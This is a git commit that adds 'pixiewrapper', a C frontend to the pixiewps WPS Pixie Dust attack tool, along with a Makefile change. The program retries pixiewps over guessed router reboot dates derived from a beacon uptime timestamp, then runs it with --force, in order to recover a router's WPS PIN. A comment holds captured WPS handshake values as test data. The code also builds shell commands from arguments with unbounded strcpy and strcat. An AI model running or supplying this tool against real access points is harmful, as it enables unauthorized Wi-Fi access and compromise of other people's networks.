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add pixiewrapper

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a small tool to be used as a frontend to pixiewps to do a smart series of
short timespan checks when the initial run fails, before finally doing a
full --force run.

additionally, it supports an option -u where the caller can pass the timestamp
contained in the AP's last beacon packet before the attack, which practically
gives us already the exact seed when we guess the router reset date correctly.
theoretically, we could just pass a range of ~60 seconds around the guessed
date and would hit it with huge likelyhood. however pixiewps needs a relatively
big amount of time to get the cracking started, so effectively the amount of
time needed to scan for a whole month isn't much longer than for a few seconds.
a future version of reaver might automatically supply that uptime timestamp.

in my personal setup, i renamed the pixiewps binary to pixie-core, and compile
the program with the CPPFLAGS=-DPIXIE_BIN=\"pixie-core\", then rename pixie-
wrapper to pixiewps itself, so this is what gets called by reaver.
This commit is contained in:
rofl0r 2019-10-29 23:52:17 +00:00
parent 8964527b85
commit a6b3fa514c
2 changed files with 155 additions and 1 deletions
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5
Makefile
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@ -32,7 +32,10 @@ SOURCE = $(SRCDIR)/pixiewps.c
.PHONY: all install install-bin install-man strip clean
all: $(TARGET)
all: $(TARGET) pixiewrapper
pixiewrapper: $(SRCDIR)/pixiewrapper.o
$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) -o $@ $<
$(TARGET): $(SOURCE) $(HDRS) $(TFMOBJS) $(TCOBJS)
$(CC) $(INTFLAGS) $(CFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS) $(TFMOBJS) $(TCOBJS)

151
src/pixiewrapper.c Normal file
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@ -0,0 +1,151 @@
/* testdata:
-u $((0xae317ff4f5)) -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -z 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -a b1d3ea1d7a12f75d097b8d26d2705b5ef25a476dd4aa68c2e764136ab282e89b -n 3f1b09a86baf5fd17bd517121e4dce91 -r 72b17748bc1c08b3c301af1343d26efcf7ac27e8c1fd8add70dce410964ef4dd6d151012893407d9673b38eced0d3141b673393b6785a366b477ec7dca8ead064aa54836ee855faa31fd125195e18ae5e0263175b60589100615d87ab9ac43440287f28bb9719a5c5dab2aec690fb900603de5ce108c1e3adf9dca9eee1d36a09f9d90363996166501934be41002c5a04e0c7ab16ec37251a8456bdae17598f57d481341a69af02b4effc5737c9403de68c6bea16a281352b56a1a114bfd8b9c
[*] Seed N1: 947432970 (Sun Jan 9 15:49:30 2000 UTC)
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
static int usage(char *a0) {
printf( "%s [-u beacon timestamp] pixiewps_parameters\n\n"
"runs pixiewps in:\n"
"1) normal mode\n"
"2) if above failed, several likely timestamps with short interval\n"
"3) if above failed, with --force\n\n"
"if env var PIXIEWPS is set, its value will be used as the executable.\n\n"
"parameter 'u', if used, must be the first command line arg.\n"
"it shall contain the 64bit uptime timestamp of beacon/probe resp packets\n"
"sent by the router immediately before the pixiewps attack (in decimal).\n"
, a0);
return 1;
}
#define PIXIE_SUCCESS "[+] WPS pin:"
#define PIXIE_VULNERABLE "[!] The AP /might be/ vulnerable"
static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) {
int ret = 0;
FILE *pr = popen(pixiecmd, "r");
if(pr) {
char buf[1024], *p;
while(fgets(buf, sizeof buf, pr)) {
printf("%s", buf);
if(ret) continue;
p = buf;
while(isspace(*p))++p;
if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) {
ret = 1;
char *pin = p + sizeof(PIXIE_SUCCESS)-1;
while(isspace(*pin))++pin;
if(!strncmp(pin, "<empty>", 7)) {
*pinlen = 0;
*pinbuf = 0;
} else {
char *q = strchr(pin, '\n');
if(q) *q = 0;
else {
fprintf(stderr, "oops1\n");
ret = 0;
}
size_t pl = strlen(pin);
if(pl < *pinlen) {
memcpy(pinbuf, pin, pl+1);
*pinlen = pl;
} else {
fprintf(stderr, "oops2\n");
ret = 0;
}
}
} else if(!strncmp(p, PIXIE_VULNERABLE, sizeof(PIXIE_VULNERABLE)-1)) {
ret = -1;
}
}
pclose(pr);
}
return ret;
}
static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
#define TSTP_MIN (TSTP_SEC * 60ULL)
#define TSTP_HOUR (TSTP_MIN * 60ULL)
#define TSTP_DAY (TSTP_HOUR * 24ULL)
unsigned days = timestamp / TSTP_DAY;
struct tm tms = {
.tm_mday = 1,
.tm_mon = *month - 1,
.tm_year = *year - 1900
};
time_t start = mktime(&tms);
unsigned secs = days * (24*60*60);
start += secs;
struct tm *result = gmtime(&start);
*year = result->tm_year + 1900;
*month = result->tm_mon + 1;
}
static const struct date {
int year;
int month;
} reboot_dates[] = {
{ 2000, 1},
{ 2015, 1},
{ 2013, 1},
{ 1970, 1},
{0}
};
#ifndef SEARCH_MONTHS
#define SEARCH_MONTHS (uptime == 0 ? 2 : 1)
#endif
#ifndef PIXIE_BIN
#define PIXIE_BIN "pixiewps"
#endif
int main(int argc, char** argv) {
uint64_t uptime = 0;
if(argc < 3) return usage(argv[0]);
int pixie_start_arg = 1, i;
if(argv[1][0] == '-' && argv[1][1] == 'u' && argv[1][2] == 0) {
uptime = strtoll(argv[2], 0, 10);
pixie_start_arg = 3;
}
char pixie_args[4096];
char* pixie_bin = getenv("PIXIEWPS");
if(!pixie_bin) pixie_bin = PIXIE_BIN;
strcpy(pixie_args, pixie_bin);
for(i=pixie_start_arg; i<argc; ++i) {
strcat(pixie_args, " ");
strcat(pixie_args, argv[i]);
}
char pinbuf[64] = {0};
size_t pinlen = sizeof(pinbuf);
int ret = pixie_run(pixie_args, pinbuf, &pinlen);
if(ret == 1) return 0;
if(ret == 0) return 1;
setenv("TZ", "UTC", 1);
tzset();
const struct date *date;
for(date = reboot_dates; date->year; date++) {
int year = date->year;
int month = date->month;
add_beacon_timestamp(&year, &month, uptime);
char cmd[4096], dstring[128];
strcpy(cmd, pixie_args);
sprintf(dstring, " --start %02d/%04d --end %02d/%04d",
month, year, 1+((month-1+SEARCH_MONTHS)%12), year+((month-1+SEARCH_MONTHS)/12) );
strcat(cmd, dstring);
ret = pixie_run(cmd, pinbuf, &pinlen);
if(ret == 1) return 0;
}
strcat(pixie_args, " --force");
ret = pixie_run(pixie_args, pinbuf, &pinlen);
if(ret == 1) return 0;
return 1;
}